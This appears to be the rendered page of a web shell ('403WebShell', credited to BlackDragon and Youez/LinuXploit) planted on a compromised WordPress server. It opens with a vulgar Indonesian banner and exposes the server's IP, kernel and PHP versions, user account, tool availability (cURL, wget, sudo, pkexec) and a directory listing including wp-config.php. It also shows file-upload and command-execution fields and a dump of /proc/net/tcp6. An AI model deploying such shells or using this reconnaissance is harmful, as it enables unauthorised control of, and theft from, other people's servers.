buyer kontol nego ga ngotak comecondo.com
 Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
 Apache/2.4.18 (Ubuntu)
 68.183.124.220
 Cant read /etc/named.conf
Name Type Size Owner/Group Permission Last Modified Actions
. dir - gavin/www-data drwxr-sr-x 2024-12-15 11:41:30
.. dir - root/root drwxr-xr-x 2019-08-25 02:29:45
.sucuriquarantine dir - root/www-data drwxr-sr-x 2024-05-24 05:31:33
home dir - gavin/www-data drwxrwsr-x 2026-05-23 05:31:31
worksheets dir - gavin/www-data drwxrwsr-x 2026-05-23 05:31:31
wp-admin dir - gavin/www-data drwxr-sr-x 2025-08-29 03:10:31
wp-content dir - gavin/www-data drwxrwsr-x 2026-05-23 05:31:31
wp-includes dir - gavin/www-data drwxr-sr-x 2021-06-27 11:01:30
.htaccess text/plain 201 B root/www-data -rw-r--r-- 2021-06-24 04:05:20
agent-contact-1.JPG image/jpeg 22.78 KB gavin/www-data -rw-rw-r-- 2022-01-31 05:13:10
circle-16.png image/png 268 B gavin/www-data -rw-rw-r-- 2021-01-11 04:23:00
index.html text/html 11.06 KB gavin/www-data -rw-r--r-- 2019-08-25 02:29:47
index.php text/x-php 420 B gavin/www-data -rw-r--r-- 2017-11-30 11:11:00
license.txt text/plain 19.47 KB gavin/www-data -rw-r--r-- 2019-01-01 08:37:49
map.php text/html 1012 B gavin/www-data -rw-rw-r-- 2021-01-01 03:50:38
pin-8-16.png image/png 309 B gavin/www-data -rw-rw-r-- 2021-01-11 04:38:33
pin-8-24.png image/png 499 B gavin/www-data -rw-rw-r-- 2021-01-11 04:40:01
pin-blue-1.png image/png 28.16 KB gavin/www-data -rw-rw-r-- 2022-01-27 09:10:36
pin-green-1.png image/png 12.71 KB gavin/www-data -rw-rw-r-- 2022-01-27 09:23:52
pin-house-red-2.png image/png 1.36 KB gavin/www-data -rw-rw-r-- 2022-01-30 09:18:10
pin-house-red-3.png image/png 2.49 KB gavin/www-data -rw-rw-r-- 2022-01-30 09:20:50
readme.html text/html 7.27 KB gavin/www-data -rw-r--r-- 2019-04-08 10:59:56
wallpaper1.jpg image/jpeg 58.99 KB gavin/www-data -rw-rw-r-- 2022-01-29 05:15:06
wallpaper2.jpg image/jpeg 788.8 KB gavin/www-data -rw-rw-r-- 2022-02-01 11:27:14
wp-activate.php text/x-php 6.76 KB gavin/www-data -rw-r--r-- 2019-01-12 06:41:52
wp-blog-header.php text/x-php 369 B gavin/www-data -rw-r--r-- 2017-11-30 11:11:00
wp-comments-post.php text/x-php 2.23 KB gavin/www-data -rw-r--r-- 2019-01-21 01:34:51
wp-config-sample.php text/x-php 2.83 KB gavin/www-data -rw-r--r-- 2020-10-24 04:07:41
wp-config.php text/x-php 3.62 KB gavin/www-data -rw-r--r-- 2022-04-20 01:23:49
wp-cron.php text/x-php 3.76 KB gavin/www-data -rw-r--r-- 2019-01-09 08:37:51
wp-links-opml.php text/x-php 2.44 KB gavin/www-data -rw-r--r-- 2019-01-16 05:29:49
wp-load.php text/x-php 3.23 KB gavin/www-data -rw-r--r-- 2017-11-30 11:11:00
wp-login.php text/x-php 38.62 KB gavin/www-data -rw-r--r-- 2019-06-10 01:34:45
wp-mail.php text/x-php 8.21 KB gavin/www-data -rw-r--r-- 2017-11-30 11:11:00
wp-settings.php text/x-php 18.52 KB gavin/www-data -rw-r--r-- 2019-03-28 07:04:51
wp-signup.php text/x-php 30.36 KB gavin/www-data -rw-r--r-- 2019-01-16 04:51:52
wp-trackback.php text/x-php 4.65 KB gavin/www-data -rw-r--r-- 2017-11-30 11:11:00
xmlrpc.php text/x-php 3 KB gavin/www-data -rw-r--r-- 2018-08-17 01:51:36
© BlackDragon
403WebShell
403Webshell
Server IP : 68.183.124.220  /  Your IP : 216.73.216.228
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux Sandbox-A 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : gavin ( 1000)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/20/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/20/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0015 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 15992 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 11079 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000001000000:0019 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 18679 1 0000000000000000 100 0 0 10 0
   3: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 13980 1 0000000000000000 100 0 0 10 0
   4: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 13976 1 0000000000000000 100 0 0 10 0
   5: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:2EE3 06 00000000:00000000 03:00000F76 00000000     0        0 0 3 0000000000000000
   6: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:957B 06 00000000:00000000 03:0000104C 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF000015148D39:EA9A 01 00000000:00000000 02:000B0509 00000000    33        0 6256925 4 0000000000000000 20 4 1 19 19
   8: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:ACDC 06 00000000:00000000 03:00000542 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:BBDE 06 00000000:00000000 03:00001066 00000000     0        0 0 3 0000000000000000
  10: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:85BE 06 00000000:00000000 03:00001062 00000000     0        0 0 3 0000000000000000
  11: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000EAB19724:C18E 04 00000001:00000000 01:0000012F 00000004     0        0 0 3 0000000000000000 1273 4 0 1 7
  12: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF000038C85270:9832 04 00000001:00000000 01:00000AC9 00000006     0        0 0 3 0000000000000000 5504 4 0 1 7
  13: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:263F 06 00000000:00000000 03:00001070 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:B694 06 00000000:00000000 03:00001063 00000000     0        0 0 3 0000000000000000
  15: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:B51D 06 00000000:00000000 03:00000F74 00000000     0        0 0 3 0000000000000000
  16: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:CD7B 06 00000000:00000000 03:00000F76 00000000     0        0 0 3 0000000000000000
  17: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000EAB19724:C186 04 00000001:00000000 01:00000112 00000004     0        0 0 3 0000000000000000 1273 4 0 1 7
  18: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:A072 06 00000000:00000000 03:00000F72 00000000     0        0 0 3 0000000000000000
  19: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF000009F2074A:B536 01 00000000:00000000 02:000AF83C 00000000    33        0 6281305 2 0000000000000000 22 4 18 12 12
  20: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:6FC4 06 00000000:00000000 03:00001052 00000000     0        0 0 3 0000000000000000
  21: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:5DCE 06 00000000:00000000 03:00000FE8 00000000     0        0 0 3 0000000000000000
  22: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:538E 06 00000000:00000000 03:00001544 00000000     0        0 0 3 0000000000000000
  23: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:DE22 06 00000000:00000000 03:0000105C 00000000     0        0 0 3 0000000000000000
  24: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:97A4 01 00000000:00000000 02:000B0509 00000000    33        0 6284425 2 0000000000000000 22 4 29 10 -1
  25: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF00002E124131:DD2E 06 00000000:00000000 03:00001262 00000000     0        0 0 3 0000000000000000
  26: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:118D 06 00000000:00000000 03:000015A6 00000000     0        0 0 3 0000000000000000
  27: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:ADEC 06 00000000:00000000 03:00000F7E 00000000     0        0 0 3 0000000000000000
  28: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:6A98 06 00000000:00000000 03:00000544 00000000     0        0 0 3 0000000000000000
  29: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:9FC7 06 00000000:00000000 03:000007C2 00000000     0        0 0 3 0000000000000000
  30: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:56A7 06 00000000:00000000 03:000015C8 00000000     0        0 0 3 0000000000000000
  31: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:9317 06 00000000:00000000 03:00000FE8 00000000     0        0 0 3 0000000000000000
  32: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:CD20 06 00000000:00000000 03:00000F7E 00000000     0        0 0 3 0000000000000000
  33: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:D6B2 06 00000000:00000000 03:00000DF6 00000000     0        0 0 3 0000000000000000
  34: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:9E1D 01 00000000:00000000 02:000AFEA2 00000000    33        0 6283404 2 0000000000000000 21 4 2 25 -1
  35: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:D406 06 00000000:00000000 03:00001071 00000000     0        0 0 3 0000000000000000
  36: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:053D 01 00000000:00000000 02:000B0509 00000000    33        0 6281195 3 0000000000000000 22 4 0 22 -1
  37: 0000000000000000FFFF0000DC7CB744:01BB 0000000000000000FFFF0000E4D849D8:8EE3 06 00000000:00000000 03:00000D90 00000000     0        0 0 3 0000000000000000

Youez - 2016 - github.com/yon3zu
LinuXploit